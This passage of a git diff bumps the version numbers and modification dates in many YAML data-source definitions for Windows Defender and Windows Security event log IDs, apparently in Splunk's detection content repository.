a/data_sources/windows_event_log_defender_1126.yml +++ b/data_sources/windows_event_log_defender_1126.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1126 id: c1c6284b-b663-4001-bdf2-c0cacee22a2a -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1126 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_defender_1129.yml b/data_sources/windows_event_log_defender_1129.yml index b3c091e597..12c707ebb5 100644 --- a/data_sources/windows_event_log_defender_1129.yml +++ b/data_sources/windows_event_log_defender_1129.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1129 id: 0572e119-a48a-4c70-bc58-90e453edacd2 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user overrides a security policy set by an Attack Surface Reduction rule in Microsoft Defender. mitre_components: diff --git a/data_sources/windows_event_log_defender_1131.yml b/data_sources/windows_event_log_defender_1131.yml index fcb8205447..a07aac4c5d 100644 --- a/data_sources/windows_event_log_defender_1131.yml +++ b/data_sources/windows_event_log_defender_1131.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1131 id: 638f884e-439a-4328-923c-ec5a2679f450 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1131 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_defender_1132.yml b/data_sources/windows_event_log_defender_1132.yml index 1c0d354fe0..d25543e35e 100644 --- a/data_sources/windows_event_log_defender_1132.yml +++ b/data_sources/windows_event_log_defender_1132.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1132 id: 18f93f60-4eca-46e8-a29d-147e6451a34c -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1132 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_defender_1133.yml b/data_sources/windows_event_log_defender_1133.yml index 09446ba562..7e0791c63e 100644 --- a/data_sources/windows_event_log_defender_1133.yml +++ b/data_sources/windows_event_log_defender_1133.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1133 id: 63c97a9a-cc7f-46c5-b219-8be388666637 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1133 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_defender_1134.yml b/data_sources/windows_event_log_defender_1134.yml index 75e3c2417a..ba350d121f 100644 --- a/data_sources/windows_event_log_defender_1134.yml +++ b/data_sources/windows_event_log_defender_1134.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 1134 id: 26abac7d-d026-44e9-b1a3-13e3e11b232d -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Defender 1134 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_defender_5007.yml b/data_sources/windows_event_log_defender_5007.yml index ed5a5e8298..46a0ec7828 100644 --- a/data_sources/windows_event_log_defender_5007.yml +++ b/data_sources/windows_event_log_defender_5007.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 5007 id: 27f18792-8d95-4871-8853-874b7faf023f -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when Windows Defender antimalware settings are modified. mitre_components: diff --git a/data_sources/windows_event_log_security_1100.yml b/data_sources/windows_event_log_security_1100.yml index 8e6ae1491c..c5ff4aa20a 100644 --- a/data_sources/windows_event_log_security_1100.yml +++ b/data_sources/windows_event_log_security_1100.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 1100 id: 2a25dafa-691e-4cb2-ae59-07a48867ed9a -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the event logging service has shut down. mitre_components: diff --git a/data_sources/windows_event_log_security_1102.yml b/data_sources/windows_event_log_security_1102.yml index aaf8fb6da4..31662574b6 100644 --- a/data_sources/windows_event_log_security_1102.yml +++ b/data_sources/windows_event_log_security_1102.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 1102 id: 8db7b91a-6d7a-40e7-bfac-06f8e901a9cb -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the audit log is cleared. mitre_components: diff --git a/data_sources/windows_event_log_security_4624.yml b/data_sources/windows_event_log_security_4624.yml index 0d6e148c53..00f60c8d29 100644 --- a/data_sources/windows_event_log_security_4624.yml +++ b/data_sources/windows_event_log_security_4624.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4624 id: 08682968-0366-4882-9559-fe4fe018a846 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an account successfully logs on to a system. mitre_components: diff --git a/data_sources/windows_event_log_security_4625.yml b/data_sources/windows_event_log_security_4625.yml index 3e46c8d0fa..c553082e66 100644 --- a/data_sources/windows_event_log_security_4625.yml +++ b/data_sources/windows_event_log_security_4625.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4625 id: 365a02c2-7d18-4baf-b76e-d90c20bbe6ed -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an account fails to log on to a system. mitre_components: diff --git a/data_sources/windows_event_log_security_4648.yml b/data_sources/windows_event_log_security_4648.yml index cd8c0cbad9..5a144426b7 100644 --- a/data_sources/windows_event_log_security_4648.yml +++ b/data_sources/windows_event_log_security_4648.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4648 id: 6a367f8b-1ee0-463d-94a7-029757c6cd02 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logged when an account logon is attempted by a process by explicitly specifying the credentials of that account mitre_components: diff --git a/data_sources/windows_event_log_security_4662.yml b/data_sources/windows_event_log_security_4662.yml index 4f9c7e550f..73a351b7ee 100644 --- a/data_sources/windows_event_log_security_4662.yml +++ b/data_sources/windows_event_log_security_4662.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4662 id: f3c2cd64-0b5f-4013-8201-35dc03828ec6 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user accessed an object within the Active Directory, such as creating, modifying, or deleting it mitre_components: diff --git a/data_sources/windows_event_log_security_4663.yml b/data_sources/windows_event_log_security_4663.yml index 9ea738c5f8..39a6c03650 100644 --- a/data_sources/windows_event_log_security_4663.yml +++ b/data_sources/windows_event_log_security_4663.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4663 id: 5d6dca8c-dad9-494f-a321-ef2b0b92fbf4 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user or process tried to access a file, directory, registry key, or other system object on the computer mitre_components: diff --git a/data_sources/windows_event_log_security_4672.yml b/data_sources/windows_event_log_security_4672.yml index a99eddfdea..2efac34bbd 100644 --- a/data_sources/windows_event_log_security_4672.yml +++ b/data_sources/windows_event_log_security_4672.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4672 id: 43f189b6-369d-4a32-a34c-57e0d38d92f1 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user with administrative privileges logs on to a system. mitre_components: diff --git a/data_sources/windows_event_log_security_4688.yml b/data_sources/windows_event_log_security_4688.yml index 6efac424f8..bf9957c63d 100644 --- a/data_sources/windows_event_log_security_4688.yml +++ b/data_sources/windows_event_log_security_4688.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4688 id: d195eb26-a81c-45ed-aeb3-25792e8a985a -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new process mitre_components: diff --git a/data_sources/windows_event_log_security_4698.yml b/data_sources/windows_event_log_security_4698.yml index 6a5e499c95..adf5765411 100644 --- a/data_sources/windows_event_log_security_4698.yml +++ b/data_sources/windows_event_log_security_4698.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4698 id: 32c06703-02d3-47ec-8856-b0dc3045866c -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a new scheduled task is created mitre_components: diff --git a/data_sources/windows_event_log_security_4699.yml b/data_sources/windows_event_log_security_4699.yml index f94fa45831..20cbbb7032 100644 --- a/data_sources/windows_event_log_security_4699.yml +++ b/data_sources/windows_event_log_security_4699.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4699 id: 4727dead-d063-4333-9ddd-59823a416aff -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a scheduled task is deleted from the system. mitre_components: diff --git a/data_sources/windows_event_log_security_4700.yml b/data_sources/windows_event_log_security_4700.yml index dbd972e4b1..fb483e26ab 100644 --- a/data_sources/windows_event_log_security_4700.yml +++ b/data_sources/windows_event_log_security_4700.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4700 id: 89895c7b-2aba-41ca-ad12-8b6d290b5dde -version: 3 +version: 4 creation_date: '2025-03-11' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Steven Dick description: Data source object for Windows Event Log Security 4700 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4702.yml b/data_sources/windows_event_log_security_4702.yml index e89cc6d9b0..f707053daa 100644 --- a/data_sources/windows_event_log_security_4702.yml +++ b/data_sources/windows_event_log_security_4702.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4702 id: 167e378e-3675-4042-b611-d3bfb6d2abc7 -version: 3 +version: 4 creation_date: '2025-03-11' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Steven Dick description: Data source object for Windows Event Log Security 4702 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4703.yml b/data_sources/windows_event_log_security_4703.yml index 0582dd69cc..bfafc15e78 100644 --- a/data_sources/windows_event_log_security_4703.yml +++ b/data_sources/windows_event_log_security_4703.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4703 id: e256673b-16e8-4b74-b7aa-9eed6ce67072 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a token right is adjusted on a Windows system. mitre_components: diff --git a/data_sources/windows_event_log_security_4719.yml b/data_sources/windows_event_log_security_4719.yml index 1e4f109eb1..42ae84ebe1 100644 --- a/data_sources/windows_event_log_security_4719.yml +++ b/data_sources/windows_event_log_security_4719.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4719 id: 954033e6-dd05-4775-a1f2-1f19632f4420 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a system audit policy is modified on a Windows system. mitre_components: diff --git a/data_sources/windows_event_log_security_4720.yml b/data_sources/windows_event_log_security_4720.yml index 362c9a1264..822fa31f3d 100644 --- a/data_sources/windows_event_log_security_4720.yml +++ b/data_sources/windows_event_log_security_4720.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4720 id: 7ef1c9e5-691b-48c2-811b-eba91d2d2f1d -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a new user account is created on a Windows system. mitre_components: diff --git a/data_sources/windows_event_log_security_4723.yml b/data_sources/windows_event_log_security_4723.yml index 768d2ea91b..c5f2c654d4 100644 --- a/data_sources/windows_event_log_security_4723.yml +++ b/data_sources/windows_event_log_security_4723.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4723 id: df19b271-57c8-4f31-817a-6c5566985484 -version: 1 +version: 2 creation_date: '2026-06-15' -modification_date: '2026-06-15' +modification_date: '2026-10-14' author: Raven Tait, Splunk description: Logs an event when an attempt is made to change an account's password, whether successful or not. mitre_components: diff --git a/data_sources/windows_event_log_security_4724.yml b/data_sources/windows_event_log_security_4724.yml index 4e7afcb83f..1a0fbf017d 100644 --- a/data_sources/windows_event_log_security_4724.yml +++ b/data_sources/windows_event_log_security_4724.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4724 id: 117fe51f-93f8-4589-8e8b-c6b7b7154c7d -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an attempt is made to reset an account's password, whether successful or not. mitre_components: diff --git a/data_sources/windows_event_log_security_4725.yml b/data_sources/windows_event_log_security_4725.yml index 510e73c2d0..b8c1a4cd63 100644 --- a/data_sources/windows_event_log_security_4725.yml +++ b/data_sources/windows_event_log_security_4725.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4725 id: 31fd887d-0d14-44cc-bb64-80063a9f2968 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account has been disabled in Active Directory. mitre_components: diff --git a/data_sources/windows_event_log_security_4726.yml b/data_sources/windows_event_log_security_4726.yml index c6d3e43d29..5184ce0c9a 100644 --- a/data_sources/windows_event_log_security_4726.yml +++ b/data_sources/windows_event_log_security_4726.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4726 id: 0b56dcd7-0f72-4a05-9226-d6059781737b -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account is deleted from Active Directory. mitre_components: diff --git a/data_sources/windows_event_log_security_4727.yml b/data_sources/windows_event_log_security_4727.yml index 5fbaac6e0d..2df5bd7360 100644 --- a/data_sources/windows_event_log_security_4727.yml +++ b/data_sources/windows_event_log_security_4727.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4727 id: 4d2078ab-36f5-447e-b7e4-474890b8040b -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4727 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4728.yml b/data_sources/windows_event_log_security_4728.yml index 70d8d2aee4..2434130bdf 100644 --- a/data_sources/windows_event_log_security_4728.yml +++ b/data_sources/windows_event_log_security_4728.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4728 id: c0cb4907-d715-41f2-a98a-4f4e75f248c1 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4728 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4730.yml b/data_sources/windows_event_log_security_4730.yml index 480193cef4..74313a7a3c 100644 --- a/data_sources/windows_event_log_security_4730.yml +++ b/data_sources/windows_event_log_security_4730.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4730 id: 126966ba-a17d-4194-882b-57d303aaf46d -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4730 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4731.yml b/data_sources/windows_event_log_security_4731.yml index 9b6582754e..1f2ee917aa 100644 --- a/data_sources/windows_event_log_security_4731.yml +++ b/data_sources/windows_event_log_security_4731.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4731 id: 1bbc004e-a75e-4d94-a619-c5aaf5d11ed5 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4731 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4732.yml b/data_sources/windows_event_log_security_4732.yml index 781b5c4989..0f8a14fcf3 100644 --- a/data_sources/windows_event_log_security_4732.yml +++ b/data_sources/windows_event_log_security_4732.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4732 id: b0d61c5d-aefe-486a-9152-de45cc10fbb4 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a member is added to a security-enabled local group on a Windows system. mitre_components: diff --git a/data_sources/windows_event_log_security_4737.yml b/data_sources/windows_event_log_security_4737.yml index c624b90868..fac939042f 100644 --- a/data_sources/windows_event_log_security_4737.yml +++ b/data_sources/windows_event_log_security_4737.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4737 id: 132fc609-17f0-4efd-8f7e-db12139c6690 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4737 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4738.yml b/data_sources/windows_event_log_security_4738.yml index c05ca9b842..219f27b347 100644 --- a/data_sources/windows_event_log_security_4738.yml +++ b/data_sources/windows_event_log_security_4738.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4738 id: cb85709b-101e-41a9-bb60-d2108f79dfbd -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account's properties, such as permissions or memberships, are modified on a Windows system. mitre_components: diff --git a/data_sources/windows_event_log_security_4741.yml b/data_sources/windows_event_log_security_4741.yml index a90b480b35..7085605796 100644 --- a/data_sources/windows_event_log_security_4741.yml +++ b/data_sources/windows_event_log_security_4741.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4741 id: ef87257f-e7d1-4856-abae-097b2cfdcdb4 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new computer account in Active Directory, including details about the account name, domain, and the user performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_4742.yml b/data_sources/windows_event_log_security_4742.yml index f0e5293d31..378b3d2443 100644 --- a/data_sources/windows_event_log_security_4742.yml +++ b/data_sources/windows_event_log_security_4742.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4742 id: ea830adf-5450-489a-bcdc-fb8d2cbe674c -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to the properties of a computer account in Active Directory, including details about the modified attributes and the user performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_4744.yml b/data_sources/windows_event_log_security_4744.yml index 6d7197b8c0..150748b188 100644 --- a/data_sources/windows_event_log_security_4744.yml +++ b/data_sources/windows_event_log_security_4744.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4744 id: 244e0bd4-00b0-4091-b8b4-9d435aca6ad8 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4744 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4749.yml b/data_sources/windows_event_log_security_4749.yml index 25d41b6052..8e96ba1d32 100644 --- a/data_sources/windows_event_log_security_4749.yml +++ b/data_sources/windows_event_log_security_4749.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4749 id: eb322056-01a3-4cd5-bc09-01140d33194a -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4749 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4754.yml b/data_sources/windows_event_log_security_4754.yml index 1df34e78c5..85ec3c13e2 100644 --- a/data_sources/windows_event_log_security_4754.yml +++ b/data_sources/windows_event_log_security_4754.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4754 id: 501a507e-3275-4c4b-9c44-53eecfeae487 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4754 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4756.yml b/data_sources/windows_event_log_security_4756.yml index c2c0d88079..bc9400ed48 100644 --- a/data_sources/windows_event_log_security_4756.yml +++ b/data_sources/windows_event_log_security_4756.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4756 id: b0093058-0cb6-4c73-a95b-fb0f3541e88c -version: 2 +version: 3 creation_date: '2026-03-30' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Nasreddine Bencherchali, Splunk description: Data source object for Windows Event Log Security 4756 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4759.yml b/data_sources/windows_event_log_security_4759.yml index b991137ea6..81aa0cc4d6 100644 --- a/data_sources/windows_event_log_security_4759.yml +++ b/data_sources/windows_event_log_security_4759.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4759 id: 431e3520-505b-4ace-aced-cb51e3f7311e -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4759 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4768.yml b/data_sources/windows_event_log_security_4768.yml index 0b43292198..5dec8859a3 100644 --- a/data_sources/windows_event_log_security_4768.yml +++ b/data_sources/windows_event_log_security_4768.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4768 id: 4a5fd6ed-66bd-4f34-bc74-51c00c73c298 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs Kerberos pre-authentication requests, including details about the user account, authentication type, and client IP address. mitre_components: diff --git a/data_sources/windows_event_log_security_4769.yml b/data_sources/windows_event_log_security_4769.yml index 7ddfa50af4..217f8821fd 100644 --- a/data_sources/windows_event_log_security_4769.yml +++ b/data_sources/windows_event_log_security_4769.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4769 id: 358d5520-f40b-4fa2-b799-966c030cb731 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs Kerberos service ticket requests, including details about the requesting user, target service, and client IP address. mitre_components: diff --git a/data_sources/windows_event_log_security_4771.yml b/data_sources/windows_event_log_security_4771.yml index e57b831cff..81f5d55976 100644 --- a/data_sources/windows_event_log_security_4771.yml +++ b/data_sources/windows_event_log_security_4771.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4771 id: 418debbb-adf3-48ec-9efd-59d45f8861e5 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs failed Kerberos pre-authentication attempts, including details about the user account, client IP, and failure reason. mitre_components: diff --git a/data_sources/windows_event_log_security_4776.yml b/data_sources/windows_event_log_security_4776.yml index 678d97076e..ec8636185c 100644 --- a/data_sources/windows_event_log_security_4776.yml +++ b/data_sources/windows_event_log_security_4776.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4776 id: 1da9092a-c795-4a26-ace8-d43855524e96 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs NTLM authentication attempts, including details about the account name, authentication status, and the originating workstation. mitre_components: diff --git a/data_sources/windows_event_log_security_4781.yml b/data_sources/windows_event_log_security_4781.yml index db18cd9cfe..cb81d92eea 100644 --- a/data_sources/windows_event_log_security_4781.yml +++ b/data_sources/windows_event_log_security_4781.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4781 id: 9732ffe7-ebce-4557-865c-1725a0f633cb -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes made to the name of a computer account, including the old and new names and the user performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_4783.yml b/data_sources/windows_event_log_security_4783.yml index 285e3a73ad..129597fe4a 100644 --- a/data_sources/windows_event_log_security_4783.yml +++ b/data_sources/windows_event_log_security_4783.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4783 id: 6b945150-785c-49a1-b705-56b42215630b -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4783 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4790.yml b/data_sources/windows_event_log_security_4790.yml index 64e8dc6861..929de50200 100644 --- a/data_sources/windows_event_log_security_4790.yml +++ b/data_sources/windows_event_log_security_4790.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4790 id: 1cc6ecbb-af04-432b-a224-02c65243ac88 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4790 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4794.yml b/data_sources/windows_event_log_security_4794.yml index ec99a50b10..9318191466 100644 --- a/data_sources/windows_event_log_security_4794.yml +++ b/data_sources/windows_event_log_security_4794.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4794 id: ec7da74f-274a-4bde-aa0e-15c68aca0426 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs attempts to set the Directory Services Restore Mode (DSRM) administrator password, including details about the account name and the user performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_4798.yml b/data_sources/windows_event_log_security_4798.yml index df143ed4a7..a7343eccfb 100644 --- a/data_sources/windows_event_log_security_4798.yml +++ b/data_sources/windows_event_log_security_4798.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4798 id: 29e97f72-eb2e-400e-b0c9-81277547e43b -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an enumeration of local group membership on a system, including details about the groups queried and the account performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_4876.yml b/data_sources/windows_event_log_security_4876.yml index b7b2ea5dca..b43375a65a 100644 --- a/data_sources/windows_event_log_security_4876.yml +++ b/data_sources/windows_event_log_security_4876.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4876 id: 4a78722a-9cd9-44e8-b010-dffad5c7f170 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the result of a cryptographic operation, including details about the key, algorithm used, and whether the operation succeeded or failed. mitre_components: diff --git a/data_sources/windows_event_log_security_4886.yml b/data_sources/windows_event_log_security_4886.yml index ac8e2a319f..61de6c3754 100644 --- a/data_sources/windows_event_log_security_4886.yml +++ b/data_sources/windows_event_log_security_4886.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4886 id: c5abd97d-b468-451f-bd65-b4f97efa4ecc -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a cryptographic key container, including details about the key container name and the user performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_4887.yml b/data_sources/windows_event_log_security_4887.yml index 4a0b7170f0..55c7652aaf 100644 --- a/data_sources/windows_event_log_security_4887.yml +++ b/data_sources/windows_event_log_security_4887.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4887 id: 994c7b19-a623-4231-9818-f00e453b9a75 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs cryptographic operations performed by a Windows system, including details about the certificate or key used and the operation type. mitre_components: diff --git a/data_sources/windows_event_log_security_4946.yml b/data_sources/windows_event_log_security_4946.yml index cc1a9e9efc..67721a5f61 100644 --- a/data_sources/windows_event_log_security_4946.yml +++ b/data_sources/windows_event_log_security_4946.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4946 id: d7dafd01-a22d-4b05-b793-7571ef1fa789 -version: 3 +version: 4 creation_date: '2025-03-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Windows Event Log Security 4946 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4947.yml b/data_sources/windows_event_log_security_4947.yml index 96eb79835b..273ac10492 100644 --- a/data_sources/windows_event_log_security_4947.yml +++ 